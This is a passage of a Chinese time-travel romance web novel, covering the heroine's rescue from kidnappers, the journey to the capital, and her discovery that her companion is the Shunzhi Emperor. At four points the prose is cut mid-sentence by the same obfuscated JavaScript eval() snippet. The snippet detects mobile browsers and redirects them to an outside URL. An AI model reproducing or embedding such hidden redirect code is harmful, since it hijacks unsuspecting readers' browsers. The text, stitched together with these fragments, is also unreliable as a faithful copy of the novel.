l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815882|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好小子,是不是以为碍于你的身份我们不敢动你,居然敢叫人回去通风报信!” 安齐修闻言不紧不慢的抬起眼,眼风从眼瞎的绑匪脸上划过,“既然已经知道了我的身份,有些话就不该明知故问!” “还有”,安齐平看向董浣浣接着说道:“她不是你可以随便触碰的人,你最好离她远一点!” 独眼龙绑匪闻言哼了一声:“你是不是还没搞明白自己的处境,现在情况是该你来求我!” 安齐平冷声道:“那恐怕是不能如你所愿了,从小到大,我还从未求过任何人。” 眼瞎的绑匪被他这种明明身处劣势,却依然高高在上的态度给激怒了,抽出手中的剑便向着安齐平刺去。 就在这千钧一发之计,董浣浣飞扑过来挡在了安齐平的前面:“放了他,要杀,杀我!” 安齐平被董浣浣的举动给镇住了,他还是第一次被一个女人这样奋不顾身的护在身后。 眼看着剑距离她越来越近,董浣浣的五感都开始隐隐感觉到了疼痛。 剑却停了下来,在她胸前不到一厘米的地方。 刀疤蒙面人抓住了瞎眼蒙面人出剑的手,训斥道:“你疯了吗,杀了他们我们拿什么和那些人谈判,还有什么活路!” 瞎眼蒙面人闻言讥笑的说道:“你以为现在我们还有什么活路可言,还不如拉着他们一起死!” 说完把剑又往前伸了一下,剑尖抵住了董浣浣的胸口,下一秒就要刺破董浣浣的心脏。 安齐平回过神来正想要撞开董浣浣,却发现一支箭从窗外飞来,直击那瞎眼绑匪的心脏,他眼疾手快的把董浣浣往旁边拽了一下。 瞎眼绑匪应声倒下,当场毙命。 接着还没等到刀疤绑匪反应过来,屋门就被从外面踹开了。 四个人训练有素的男人走进来迅速控制住了刀疤绑匪。 当董浣浣被解开手脚走出木屋的呼出第一口空气的时候,才终于感觉到自己还是活着的。 看着不远处走过来的安齐修,董浣浣张开双臂向着他的胸膛扑了过去。 就在刚刚,她差点就再也见不到他了。 另一边海日看完这一幕,收起无比羡慕的目光走到孟章砚面前礼貌的向他致谢道:“多谢阿爸嘎搭救,琪琪格就先告辞了。” 孟章砚拉住她的胳膊,语气低落的问道:“一定要这样吗?” 海日闻言转过身去看了孟章砚一眼没说话,孟章砚心领神会的松开了她的胳膊。 待安齐修安抚好董浣浣的情绪之后,卫苑走上前来问道:“主子,那个绑匪需要如何处置?” 董浣浣想到刚刚这个人一直在规劝死掉的那个人不要乱来,应该也不算是大奸大恶之人,罪不至死,何况以他们现在的处境还是不要多生事端,于是和安齐修建议道:“这个人我们还是交给官府依法处理吧,以免引起不必要的麻烦。” 安齐修点了点头,正要吩咐卫苑照办的时候,就只听见“嘶啦”一声拔剑的声音,接着那个刀疤绑匪便倒在了地上。 孟古青把剑拔了出来,刷的一下又插到了旁边剑主人原来的剑鞘上。 动作行云流水,其间她连眉头都没有眨一下。 做完这一整套动作之后,孟古青走到董浣浣面前,一脸严肃的和她说道:“以后我们不在是朋友了!” 58. 归途 安齐修,这个男人我要了!”,孟古青走进正厅,放下手中的长鞭,在董浣浣的对面坐下,抬头看向董浣浣眼神凌冽的冲着董浣浣说道。 该来的还是来了! 从被救下来那天,孟古青对她说出那句我们再也不是朋友了,董浣浣就猜到了有今天这个画面了。 被绑架的那天,孟古青约她出来估计也是因为这事吧,只不过被绑架给耽搁了。 都说女人的第六感,是世界上最准的东西,或许之前她们喝酒的时候,她就预料到了会有这么一天,所以才会酒后和孟古青约定,让孟古青不要和她抢安齐修。 没想到越是害怕的事情,越是容易成真,她们终究还是走到了今天的这个局面。 不过,兵来将挡水来土掩,即使孟古青比她优秀一万倍又如何,感情从来都不是靠比赛谁比较优秀而获得的,安齐修现在是她的男人,谁也别想从她的手里把他抢走。 更何况虽然她不知道自己安齐修的结局会如何,孟古青的结局她却很清楚,她的将来是要去做天下的女主人的,她和安齐修注定是两条平行线。 时机真是一个会捉弄人的东西,明明前些天她还在思考怎样帮助孟古青摆脱命运,没想到一场醉酒打乱了她所有的计划。 她们俩居然成了情敌。 真是讽刺。 董浣浣放下手中的茶杯,脸色未变语气和缓的问道:“你那天约我出来也是要和我说这个吗?” 孟古青闻言,只是倒了杯水一饮而尽,并没有答话。 董浣浣看了她一眼,心中便有了答案,继而继续问道:“能不能告诉我,你看上了安齐修哪一点了吗?” 孟古青抬头看了董浣浣一眼,语气不善的问道:“你问这个干什么?” 董浣浣不慌不忙答道:“我只是想知道你喜欢他什么,我好让他改。” 孟古青气急败坏的捏碎了手中的杯子说道:“全部!” 董浣浣微笑道:“真是遗憾,只能怪他太优秀了,吸引人的地方太多了,这样他就没法改了啊。” 孟古青咬牙切齿的哼出声来:“董浣浣你不要太过分了!” 董浣浣收起了笑容问道:“你是不是觉得我配不上她,只有你才能配的上他?” 一般电视剧都是这样演的,董浣浣皱着眉头想。 果不其然孟古青点头说道:“当然,这世上能配的上她的人,估计也只有我了。” 董浣浣闻言认真的答道:“既然你这么光明磊落的向我下战贴了,那么我也认真的回答一下你,他是我的男人除非我不要他了,绝对不会将他拱手让人的。” 孟古青道:“那我们走着瞧,看谁能笑到最后!” 董浣浣嗤笑了一下:“那恐怕是要让你失望了,因为我们明天就要离开这里了,没有机会和你一起走着瞧了”。 董浣浣的话音刚落,站在门外听完她们对话的安齐修走进房门内,看都不看孟古青一眼,走到董浣浣身边坐下。 两人深情对望,安齐修很认真的对董浣浣说:“你一定要记住你今天说的话,无论以后发生了什么事情,都绝对不可以食言。” “嘭!”的一声,董浣浣的头磕在了车柱上。 董浣浣揉着被磕疼了的额头,睁开了双眼。 坐在她对面的紫鸢和小柒也被她的磕碰声给惊醒了。 紫鸢连忙起身坐到了董浣浣的身边问道:“怎么了,小姐,撞到哪里了,要不要通知前面停下来检查检查?” 董浣浣摆摆手:“没事,就是刚才睡着了,不小心磕了一下头,没什么大碍,不用那么紧张。” 董浣浣轻飘飘的说着没事,可是站在紫鸢的立场上哪敢不紧张。 小姐前些天被绑架,受到了惊吓,这又急匆匆的忙着赶路,舟车劳顿的,眼看着马上就要到家了,可千万不能出岔子了,紫鸢不放心的又确认道:“真的没事吗,确定不用停下车来检查检查?” 董浣浣点点头,强调道:“不用,不用,真的不用,我真的没事。这些天你们也累了,赶紧趁着机会多眯一会儿吧。回到家估计还有一大堆事情在等着我们呢。” 这一个姑娘家离家出走在古代可不是小事,虽然后来得到了她家阿玛的首肯,可是依照正常家庭的相处模式来看,到家无论她怎么说,一顿训斥肯定是免不了的,紫鸢和小柒到时候可能我免不了和她一起挨训。 这一路紫鸢和小柒跟着她已经够担惊受怕的了,回到家不能让他们再担惊受怕了。 她惹的祸,到时候她一定要一力承担,绝对不能连累紫鸢和小柒,董浣浣暗暗发誓。 紫鸢见她如此的肯定自己没事,才放下心来,从新坐到了董浣浣的对面。 他们已经赶了三天三夜的路了,这三天董浣浣在车上被摇的的晕头转向的。 可是她的脑子还是一刻都不停歇,一遍一遍的重复着临走前去见孟古青的场景。 其实那天见面他们三个人,一个人只说了一句话。 孟古青对她说:“安齐修,这个男人我要了!” 董浣浣回答孟古青说:“安齐修是我的男人,除非我不要他了,绝对不会把他拱手让人的。” 后来从门外走进来的安齐修对她说:“董浣浣你要记住你今天说的话,无论以后发生了什么事情,都绝对不可以食言。” 他们的对话简单而直接,没有那么多的撕逼场面。 剩下的剧情都是董浣浣这几天脑补出来的。 董浣浣不知道这几天她是怎么了,她就像是个编剧一样,把那天的场景在脑中一遍遍的润色加工,注入新的台词,试图让自己看着像一个可以掌控全场的女主角。 可是她不是一个合格的编剧,一个写的戏连自己都信服不了编剧,又怎么能够写出真正的好剧本呢。 明明他们已经离开了科尔沁,明明他们以后的生活将会和孟古青再也没有交集,为什么她心却安定不下来,冥冥之中总觉得会出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815883|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么事。 那天孟古青离开的时候,她脸上那意味不明的表情让董浣浣很不舒服,还有安齐修说的那话实在是太怪了,总感觉是在给她预防些什么。 事后董浣浣问他话中的含义,他只是回答说,等到了京城她自然就知道了。 京城,三百多年前的北京,他们的归途。 从永州出发到达科尔沁,一路经历过了被“女婿”,遇刺,被绑架,等等一系列的鸡飞狗跳的事件,也遇到了历史书上那些赫赫有名的人物。 她的离家出走之旅,也算正式的告一段落了。 董浣浣撩起窗帘,看向骑着马走在她前面的安齐修。 她其实很抗拒“京城”这两个字的,它不像未来的北京,是国之首都欢迎四方来客。 清朝的京城总是让人不禁和官场的阴谋诡谲划上等号。 她不知道未来他们将要经历些什么,但是无论经历什么,董浣浣看着安齐修宽阔的后背给自己打气:只要他们一起携手面对,就没有什么可怕的! 正在这时,安齐修像是感应到了什么转过头来,和董浣浣来了个目光相接。 安齐修扬起嘴角微笑问道:“累了吧?” 董浣浣本来想要回答他说不累的,可是听到他如此温柔的嗓音,董浣浣被蛊惑了,忽然觉得她似乎应该是累了。 安齐修见她不说话,笑了笑给她说了下接下来的安排,“马上就到京城了,前面有家客栈我们先歇歇脚,明天一早进城,在坚持一会儿,到了客栈通知你。” 董浣浣闻言微微的点了点头,柔声应道:“好。” 冲着安齐修绽放了一个笑容之后,董浣浣放下窗帘继续闭目养神写剧本了。 是夜。 安齐修和董浣浣坐在客栈的窗前,看着天上的那一轮明月。 又是一个月圆之夜,安齐修从身上拿出一个玉佩递给董浣浣,“这是我父亲在我出生的时候送给我的,我带到现在从未离身,现在我把它转送给你了。” 中秋节的董浣浣一时兴起说过每一个月圆之夜都是他们的纪念日,安齐修需要送给她一个礼物,没想到安齐修竟然牢牢的记住了,九月份的礼物是一对瓷兔子,董浣浣为了自己泼出去的话硬着头皮收了,可是今天这个礼物也未免太贵重了吧,她绝对不能收。 董浣浣轻轻推了一下他递玉佩的手,推辞道:“你记得这一天就好了,以后用花花草草的打发我,我就会很开心了,这个玉佩对你来说太重要了,我不能收。” 安齐修伸手拉过她的手,把她的手掌心打开,然后把玉佩放到她的手中,又把她的掌心合上,然后一脸神情的望着董浣浣说道:“之所以告诉你它对我而言的意义,是想让你以后能够替我好好的保管它。今天把它送给你,不是想让你心里有负担,而是想告诉你,你对我有多重要,是绝对不能用花花草草来打发的人。” 又来了,这话里有话的暗示又来了,董浣浣那颗不安的心又被提了起来。 59. 隐士高人 次日一早。 一行人来到了客栈正厅,准备吃完饭上路。 就在等饭的空档,门外来了一个筚路蓝缕的乞丐前来要饭。 店小二看到他这个样子,怕影响生意,从店里拿了几个馒头,就想把他打发了。 谁知乞丐拿了馒头还不满足,想要进店喝口水,这一举动彻底把店小二的耐心耗尽了,把手中的馒头直接扔到乞丐旁边的地上,一边骂骂咧咧,一边伸手把乞丐往门外推。 “赶紧走,赶紧走,你这臭烘烘的,要是让你进来了,我还怎么开门做生意!” 乞丐被如此对待一点都不生气,转而蹲下身去耐心的去捡馒头。 他这一吆喝不要紧,本来正在吃饭的客人们的目光都被吸引过去了,一时间大家议论纷纷。 董浣浣觉得这个乞丐挺可怜的,正要起身去帮忙,旁边的卫苑在安齐修的示意下先一步走上前去帮忙了。 董浣浣看了一眼安齐修,恰好他也在看她。 眼神相撞,一瞬间双方都读懂了对方的眼里的含义,然后不约而同的笑了。 另一边,卫苑走到店小二身边,和店小二耳语了几句,然后又递给了店小二一锭银子,店小二立马换上了另一幅嘴脸,连忙招呼乞丐进来,引着乞丐往旁边的包房去了。 事情平息了,其他客人们见没乐可看了,便纷纷低下头接着吃饭。 吃完早餐,几人回到房间准备收拾一下就上路了,结果每个人在各自的房间各自发现了一个信封。 董浣浣打开信封,里面有一封信,信上写着:前世勿念,既来之,则安之。 董浣浣刚看完信,小柒和紫鸢就走了进来,将她们手中的信递给董浣浣道:“小姐,我们刚才在房中发现了这个。” 董浣浣接过她们手中的信,看了一下,小柒的信上写着两个字:圆满,而紫鸢的信上写的则是:初心。 与此同时另外三个人也打开了自己的信封。 卫苑的信上面写着:类不同,求而不得,则应及时放下。 安齐平的信上面写着:爱人之始,爱己。 安齐修的信上面写着:生死有命,切莫强求。 安齐平和卫苑看完信,把手中的信递给安齐修。 安齐修接过他们手中的信看了一眼说道:“此事不知道是何人所为,但幕后指使之人应是多尔衮,不知道他此番作为葫芦里到底卖的什么药”。 卫苑闻言眉头皱起,双手抱拳主动请缨道:“臣现在就去搜查,一定把这个潜入房间放纸条的人给抓出来,把他的目的盘问个水落石出!” 安齐修闻言,摆摆手道:“不用,他充其量只是个送信的信差而已,问不出什么来的,没必要那么大费周章的去找他。” 然后把信递给旁边的单良,吩咐道:“把信烧了吧。” 另一边的董浣浣却不这么认为。 看完紫鸢和小柒的信之后,她又重新看了一眼自己的信,然后她疯了。 原来影视剧里的世外高人真的存在,在这个时空里真的有人可以看出来她是个异类。 既然知道她是个异类,也许也知道另一个时空的事情。 她回不去没有关系,至少让她知道另一个时空她的父母和朋友现在是否平安。 董浣浣拿着信冲出了房间,找到店小二,摇着店小二的肩膀问道:“刚刚谁进了我房间,这信是谁放在我房间的?” 店小二被她的样子吓呆了,磕磕巴巴的说不出话来。 安齐修他们闻声赶到,把董浣浣拽住店小二的手从店小二的肩膀上拿开。 事已至此,已经没有阻拦的必要了,安齐修只是牵住董浣浣的手,试图让她冷静一点。 店小二在众人询问的目光中,颤颤巍巍的说道:“就是刚刚你们让我放进来的乞丐,他给了我一两银子,让我把他带到你们各自的房间,说是对你们的答谢。” “我保证全程我都是看着的,他只是放下了信,什么东西都没拿!”,店小二举起双手,力证清白道。 董浣浣闻言接着问道:“那他人呢,他在哪个房间,带我去找他!” 店小二战战兢兢的指着后门道:“他刚刚已经从后门离开了。” 董浣浣松开安齐修的手,冲着店小二指着的方向跑去。 其他人看她这样也纷纷跟上前去。 出了客栈后门,是一条小巷,可以一眼望到头,除了零星的两个路人,根本找不到那个乞丐的踪影。 董浣浣感觉自己提起来的那股劲又突然的泄了下去,双手敲打着自己的头,眼泪忍不住的从眼睛里流了出来,然后双腿一软差点跌倒。 老天爷太会耍她了! 明明她已经那么努力的想要忘记了,为什么又要给她希望。 既然给了她希望,为什么又要这么快的让她失望。 难道这就是上天要给她的惩罚:让她一辈子都活在对家人对朋友的愧疚中吗? 安齐修看着她这样一副被抽去全身气力马上就要倒下去的样子,赶忙将她打横抱起,走回客栈。 被抱起来的董浣浣睁着水汽充盈的泪眼,可怜巴巴的看着安齐修说道:“我知道错了,老天一定是在惩罚我。” 安齐修不知道她为什么要说这话,不过她既然那么想要见到那个送信的人,他就一定要让她见到,问到她想问的! “卫苑”,安齐修唤道,“翻遍整个京城,三天内我要见到那个乞丐!” 卫苑领命:“属下这就去办!”,说完便转身离开。 董浣浣听完他们的对话,勉强的勾起了一起笑容,“安齐修,你真好,可是我还是好想回家啊。” 安齐修安慰她道:“想回家,我们就回家。” 董浣浣:“可是我回家就见不到你了啊,我又不想见不到你,你看,我真是个自私自利的坏女孩。” 安齐修又安慰她道:“怎么可能会见不到呢,你只要想要见我,我就会出现在你的面前。” 董浣浣一脸眷恋的,伸手摸了摸安齐修的脸:你不懂,如果我要是真的回家了,就真的见不到你了。 不过,你放心,我是回不了家的。 安齐修任由她的小手在他的脸上造次,没有出言阻止,只是等她摸够了,才说道:“累了就睡一会儿吧,我们明天再启程。” 董浣浣闻言乖乖的点头,说了声:“对不起”,便闭上了眼睛。 对不起,有一个这么好的你,我居然还心存想要回去的念头。 一滴泪从眼角滑落滴到了地上。 安齐修看着她的脸,心脏慢慢的有些抽疼。 小心翼翼的把她放在床上,盖上被子,然后用手帕擦干了她眼上的泪痕,才轻手轻脚的关门出去。 午饭前董浣浣被饿醒了,顶着两个大肿眼泡子出门觅食。 紫鸢按照安齐修的吩咐坐在门口守着她,看见她的模样,赶忙吩咐小二帮她准备吃的,顺便打盆凉水来,给她敷敷眼睛。 在紫鸢忙着给她敷眼的空档, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815884|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 董浣浣小心翼翼的开口道:“对不起,刚刚吓着你们了吧?” 刚刚她的情绪太失控了,都没有注意到有没有吓着他们,睡醒了才想起来安抚她们。 紫鸢停下本来还在忙碌的手,绷得紧紧的表情听到董浣浣的话,就再也绷不住了,眼泪刷的一下流了下来,然后说道:“小姐你刚刚吓死我了,你是被什么东西附身了吗,咱们要不要去找个修士给看看,你要是有个三长两短,我该怎么向老爷交代啊,”,语气里尽是委屈和担忧。 董浣浣闻言,很是自责,她真不是一个合格的小姐啊,每次都让他们为她提心吊胆的。 董浣浣看到她这个样子,慌忙的伸手去给紫鸢擦干眼泪,然后轻轻的拍着她的后背,柔声安慰道:“我保证我以后再也不这样了。” 紫鸢打了一个嗝,平缓了一下情绪才向董浣浣问道:“所以那几封信是有什么问题吗,小姐你认识那个人吗,为什么看到信你的情绪会那么激动?” 董浣浣正要回答她的疑问,安齐修恰好走了进来。 “在这不远处有处小庙,据说挺灵验的,吃过饭,要不要去拜拜。” 看来大家都觉得刚刚她是中蛊了,需要找人来看看,只不过紫鸢想要寻求道教帮助,安齐修想要找佛教超度而已。 算了,和他们说实话,他们也不会相信,只要能够让他们放心,去庙里拜拜也没什么。 董浣浣笑着答道:“好。” 饭后,一行人来到了小庙。 怪不得安齐修称之为小庙,从远处不仔细看还以为是个农家小院,走进来发现只有一个白发苍苍的庙祝。 不过,麻雀虽小五脏俱全,在这个小小的院落里,正规寺院所具备的结构,它都有。 几人在庙祝的引领下领了香分别走进正殿祈福,祈福过后走到正殿门前的功德箱里捐了一些香油钱。 随后安齐修便带着董浣浣,和庙祝一起走到到了禅房。 三人坐下来,之后,安齐修给庙祝介绍说:“师父,她叫董浣浣,是我选的人,本来是想择个吉日带她来见您的。” 没想到您先遣人来通知了,弄的大张旗鼓的,还吓到了她,这句话安齐修压在心里没有说出来。 本来限期三天让卫苑把那乞丐找出来,没想到半天他就找到了,并且说出了他是受何人所托。 原来这幕后之人不是多尔衮,居然是他师父。 庙祝完全不顾安齐修的话里有话,看了一眼董浣浣,点了点头说了声:“好。”,然后从袖子中取出了一个香包递给董浣浣道:“以后如遇到为难之事,打开它。” 董浣浣看了一眼安齐修,然后接过香包,放好。 安齐修和庙祝又聊了一会佛经,董浣浣听不懂,插不上话,就静静的坐在一边听着。 不知为何,她的心渐渐的平静下来了。 离开小庙的路上,董浣浣问安齐修:“你就不想知道,我今天为什么会那样吗?” 安齐修笑笑道:“等你想要告诉我的时候,我自然就知道了。” “还有啊,人生有太多的遗憾和错过是无论如何也挽救不了的,”,安齐修摸了一下董浣浣的头接着说道:“我们能做的只有抓住眼前的人,做好眼前的事。” 董浣浣听完,绽放出一个大大的笑容,心里那些纠缠不清的情绪,都一扫而空了,她敞开怀抱冲着远方大喊:“你说的对,抓住眼前人,做好眼前事!” 安齐修我决定了,我选你,以后我再也不纠结了! 60. 原来我是董鄂妃 离家出走数月,她终究还是回到了家。 望着那挂着“董鄂府”三个字匾额的府邸,董浣浣心想,匾额如此之新,看来她家阿玛从永州搬来也没多久。 也不知道她家阿玛看到在外面疯了半年多才回来的女儿,会有什么反应,会不会直接打包把她扫地出门,从此再也不认有这么个女儿。 董浣浣坐在车上踌躇着,迟迟不敢下车:即使她家阿玛什么也不计较的迎她回家,这豪门深宅,又有皇亲国戚卷在其中,她真的可以应付的了吗? 更重要的是,她这一进去,不会又要过那种“衣来伸手饭来张口”的囚徒生活吧? 对于她家里的情况,董浣浣所了解的还是和她刚来的时候差不多,这半年多来董浣浣曾明里暗里套过紫鸢的话,可是紫鸢总是一副讳莫如深不能多谈的样子,而她又不能问的太过刻意,时间久了她也就不再去问了。 不问的下场就是,回到这里还是要面对一无所知的窘境。 算了,董浣浣深深的叹了口气,该面对的迟早还是要面对,硬着头皮上吧。 安齐修看到她这幅如临大敌的样子,拉过她的手轻轻的拍了拍,柔声安慰道:“别怕,一切有我。” 董浣浣点了点头,自我安慰:安齐修说的对,有什么好怕的,大不了就是兵来将挡水来土掩嘛,然后深深的吸了口气,站起身来准备下车。 安齐修在后面轻轻的拉了一下她,微微勾起了唇角,说道:“别着急,我先出去。” 董浣浣闻言,侧开了一下身子,让安齐修先下去。 安齐修先下了车,站在车边等她,董浣浣随后跟着走出了车门,安齐修伸出手把她抱了下来。 董浣浣站定,刚准备往家里走,又被安齐修给拉住了。 他弯下身子与她平视,紧紧的盯住董浣浣的眼睛,语气严肃而认真的说道:“待会进去,无论发生什么事情,你一定要记得你说过的话。无论如何都要相信我,跟着我。” 董浣浣还是第一次看到他这样的表情,本来已经平复好的忐忑的情绪又瞬间被提了起来。 她的第六感告诉她,即将有什么她控制不了的大事要发生了。 她好想打退堂鼓,可是事已至此,打退堂路是不可能的了。 董浣浣硬着头皮使劲的点了点头,说了声:“好。” 安齐修听到他想要听到的答复后,勾起了一个笑容,用手轻轻的董浣浣的头上拍了拍,说道:“不用害怕,放心,一切有我呢。” 说完便拉着董浣浣往大门走去。 一行人走到门口,新来的门卫并不认识董浣浣和紫鸢,把他们挡在了外面。 董浣浣有些尴尬,走正门,连自己家都进不去的小姐,这世上恐怕也只有她一个了吧,而且还是在她朋友的面前,真是太丢人了。 董浣浣此刻恨不得找个地缝钻进去。 可是转念一想,或许这正好是个时机,是老天给她的机会,一个她可以拉着安齐修扭头就走的机会。 董浣浣正欲掉头,安齐修见状拉住了她,递给门卫一个令牌,对他说:“告诉你们家老爷,就说安齐修前来拜会。” 在门卫拿着令牌进府通报的空档,董浣浣疑惑的抬头看向安齐修,“你认识我阿玛?” 安齐修笑笑,前些年见过几面。 董浣浣点头,心里盘算着,安齐修家的生意做的真的挺大的,小小年纪时候的他已经在各类官员面前游走了。 不一会儿,那个报信的门卫便和一个小厮模样的人一起慌慌张张的跑回来了,门卫一不小心噗通一声跪在了安齐修的面前,把玉佩递给了安齐修,磕磕巴巴的把小厮应该说的话也抢了去,说道:“我家老爷说,请您进去。” 安齐修接过玉佩,对跪在地上的门卫说:“起来吧,”,接着便在小厮的引领下目不斜视的往里面走,其他人跟上。 只有董浣浣紫鸢和小柒三人落在后面,想要扶起刚刚摔倒的门卫,董浣浣问:“怎么样,没事吧,还能不能站起来?” 门卫连连摇头,慌忙的回复道:“谢谢小姐关心,奴才没事。”,为了证明自己的话,便强忍着疼痛一股脑的站了起来。 走了几步的安齐修看到董浣浣没有跟上来,停下脚步站在原地等她。 董浣浣在和门卫又确认了一遍他没事之后才追上前去,走到了安齐修的身边。 安齐修看着追上来的董浣浣笑笑,没有说话,只是默默的牵起了她的手一起走。 董浣浣知道以前在江湖上不拘小节这样可以,现在回到规矩森严的深宅大院这样就是不知检点,不懂规矩。 董浣浣慌忙的想要从安齐修的手中把自己的手抽出来,无奈他却攥的更紧了,头凑到董浣浣的耳边说道:“这是惩罚,惩罚你刚刚没有把注意力全部放在我身上。” 董浣浣急忙保证:“我知道错了,下次再也不敢了,这么多人看着呢,你放开我的手好不好。” 安齐修看到她急的脸颊绯红急忙解释的样子,心情不错,决定这一次先放过她,笑着松开了她的手。 董浣浣抽出手狠狠的瞪了他一眼,说道:“这是我家,你别这么放肆,要是让我阿玛看见了,指定要打断了你的腿。” 安齐修闻言,笑的更甚了。 紫鸢站在后面看到这一幕却笑不出来,小姐啊,小姐,过一会儿要是你知道了安齐修的身份,你该怎么办啊? 董浣浣随着安齐修一路走,眼睛也没闲着,四处打量着,她未来的家。 董浣浣不是学建筑的,对古代宅院的结构构成也不是很懂,只能说是亭台楼阁,小桥流水,绿树红花应有尽有。 随着小厮弯弯曲曲的绕过了两道拱门,一行人终于到达了正厅门口。 董浣浣便看到了她家阿玛身着朝服,领着家中众人跪在了门前,与此同时紫鸢拽着她和小柒也跪了下来。 她家阿玛声音洪亮的冲着安齐修说道:“臣,正白旗董鄂.鄂硕,携众家眷恭迎皇上圣驾,祝吾皇万岁万岁万万岁!”,接着便连磕了三个头,众人跟上。 跪在一边的董浣浣唯一的念头是:原来她的阿玛叫鄂硕啊,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815885|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋“嗡”的一声,就变成了一片空白,什么想法也没有了。 直到安齐修扶起她家阿玛,又去扶起她时,董浣浣才如梦初醒的看向安齐修。 这个男人骗了她,他说他叫安齐修,他说他家是做生意的。 怪不得他总是一副神秘莫测,话里有话的样子,怪不得他总是让她相信他。 原来都是为此刻做铺垫。 可是到了真相大白的这一刻,她居然连质问他的勇气都没有。 安齐修看到她这个样子,心跟着一阵一阵的抽疼,但是当着众人还要表现出身为帝王的姿态来,只是扶起了她并没有多言。 虽然她是计算机专业的,虽然她的历史并不好,可是从最基础的历史课本以及各大电视剧里她也能了解到最基础的清宫知识。 那个女人的父亲叫做董鄂.鄂硕,那个女人的丈夫是顺治,名叫爱新觉罗.福临。 原来那个女人就是我啊! 原来我是董鄂妃啊。 那个历史上顺治帝爱新觉罗.福临可以为她心甘情愿去死的,最心爱的女人,那个她原本以为名字里会有个“宛”字的女人,原来是我啊。 原来他是因我而死啊! 原来我就是那个害死他的人啊! 电视剧都是骗人的啊! 她的安齐修消失了,只留下了一个帝王的躯壳。 她好累,好想回家,离开这里的是是非非。 董浣浣只觉得,嗓子眼里一阵腥甜,整个世界天旋地转的,然后她就昏了过去。 多亏安齐修及发现情形不对,及时伸手接住了她。 “快去叫大夫!”,安齐修冲着面前的人群大喊。 董鄂.鄂硕连忙唤了身边的一个小厮赶紧去叫大夫。 “她的卧房在哪?”,安齐修又问。 爱新觉罗.颜冉闻言赶忙上前引路。 安齐修抱着董浣浣一路小跑,尝试着用手晃了晃她,嘴里着急的喊着她的名字,她都一动不动。 睡梦中的董浣浣听的到安齐修在叫她,可是她一点都不想醒来。 太委屈了,她明明已经那么小心翼翼的规避了认识他的可能性,他明明有那么多可以告诉她的机会。 为什么让她以这样的形式知道真相。 她甚至都不能像其他女生一样,去发泄指责,来表示她的不满。 她决定了,她不要醒来,谁喊也没用。 然后她又梦到了那个场景。 洁白的病房里,她躺在床上插着呼吸机,妈妈坐在她的床前默默的在流泪,爸爸则站在床前拉着她的手说:“孩子,难为你了”。 董浣浣好想大喊:“爸爸妈妈,我好累啊,好想回家啊!”,好想扑到他们的怀里大声的哭诉,她的委屈,她的伤心。 穿越前,孟古青老大她们因为她而生死未卜,如今又得知安齐修将来也会因她而死。 为什么大家都会因为她而变得不幸呢,她难道就是个扫把星吗! 一滴泪从眼角滑落,滴到了安齐修的手上。 61. 醒来 已经三天了,董浣浣依然没有醒来的迹象。 福临来来回回请了不知多少波名医,得出的结论都是一样的:气急攻心,需要静养。 可是谁都没能给他一个确切的时间,她到底什么时候可以醒来。 福临待在她的床前,也已经三天没有合眼了,期间众人已经轮流劝过一波让他回去先休息一下,都被他拒绝了。 他想要看着她醒来,他想要她醒来第一眼就可以看到他。 他很小的时候,皇阿玛就曾教育过他,爱新觉罗家的男儿要对自己所做过的事情负责,要一言九鼎,不能后悔自己的每一个决定。 但是现在他后悔了。 如果一开始告诉她是不是比较好,或者循序渐进的告诉她,让她慢慢的接受是不是比较好。 是他太草率了,没能设身处地的从她的角度去想。 福临正陷入懊恼中,就听见扑通一声,董鄂.鄂硕跪在了他的面前,站在一边的紫鸢见状也赶忙跟着跪了下来。 鄂硕语重心长的劝诫道:“皇上您还是去休息一会儿吧,您这样一直守着小女不眠不休,实在是折煞小女了。” 福临见到此情形赶忙起身想要伸手去扶他起来。 董鄂.鄂硕这次是下定决心了,皇上不答应他的恳求,他死活也不起身了,一边跪着一边说道:“皇上执意在这守着,臣只能跪在这里陪着您了。” 虽然吩咐了全府上下守住口风,不得将皇上现在在董鄂府的消息传播出去,但是人多嘴杂,难免会有纰漏。 皇上这样不眠不休的守在他家女儿的床前,万一出了什么问题,这个责任谁负担的起,到时候恐怕董鄂家几百口人命都要受到牵连。 更何况,女儿家的名声要紧,皇上待在他家女儿的闺房三天三夜未出,这消息一旦走漏了风声,大街小巷议论纷纷,更有甚者,再给她安一个魅惑君主的罪名,她如何担当的起。 